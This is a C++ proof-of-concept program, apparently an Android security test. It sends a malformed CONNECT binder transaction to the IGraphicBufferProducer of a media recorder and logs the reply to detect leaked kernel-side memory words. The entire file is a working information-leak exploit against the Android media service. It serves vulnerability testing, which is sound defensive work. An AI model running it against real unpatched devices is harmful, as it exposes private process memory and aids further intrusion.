1 /**
2 * Copyright (C) 2018 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 *      http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 
17 #include <binder/IServiceManager.h>
18 #include <binder/Parcel.h>
19 #include <fcntl.h>
20 #include <gui/IGraphicBufferProducer.h>
21 #include <media/IMediaPlayer.h>
22 #include <media/IMediaPlayerClient.h>
23 #include <media/IMediaPlayerService.h>
24 #include <media/IMediaRecorder.h>
25 #include <sys/stat.h>
26 #include <sys/time.h>
27 
28 using namespace android;
29 
main(int argc,char * const argv[])30 int main(__attribute__((unused)) int argc,
31          __attribute__((unused)) char *const argv[]) {
32 
33   sp<IServiceManager> sm = defaultServiceManager();
34   sp<IBinder> MeidaPlayerService = sm->checkService(String16("media.player"));
35 
36   // get IMediaPlayerService
37   sp<IMediaPlayerService> iMPService =
38       IMediaPlayerService::asInterface(MeidaPlayerService);
39   ALOGI("Get iMPService instance, 0x%08lx\n", (unsigned long)iMPService.get());
40   sp<IMediaRecorder> recorder =
41       iMPService->createMediaRecorder(String16("poc"));
42   ALOGI("Get recorder instance, 0x%08lx\n", (unsigned long)recorder.get());
43 
44   const char *fileName = "/sdcard/test";
45   int fd = open(fileName, O_RDWR | O_CREAT, 0744);
46   recorder->setVideoSource(2);
47   recorder->setOutputFile(fd);
48   recorder->setOutputFormat(0);
49   recorder->init();
50   recorder->prepare();
51   recorder->start();
52 
53   // get IGraphicBufferProducer
54   sp<IGraphicBufferProducer> iGBP = recorder->querySurfaceMediaSource();
55   ALOGI("Get iGBP instance, 0x%08lx\n", (unsigned long)iGBP.get());
56 
57   Parcel data, reply;
58   data.writeInterfaceToken(iGBP->getInterfaceDescriptor());
59   data.writeInt32(-1);
60   IGraphicBufferProducer::asBinder(iGBP)->transact(10 /*CONNECT*/, data,
61                                                    &reply);
62   int len = reply.dataAvail();
63   ALOGI("dataAvail = %d\n", len);
64   unsigned int *leaked_data = (unsigned int *)reply.data();
65   for (int i = 0; i < (len / 4); ++i) {
66     ALOGE("IGraphicBufferProducer_InfoLeak leaked data = 0x%08x",
67           leaked_data[i]);
68 
69     if (i < 4 && leaked_data[i] != 0) {
70       ALOGE("IGraphicBufferProducer_Info is Leaked");
71     }
72   }
73   return 0;
74 }
75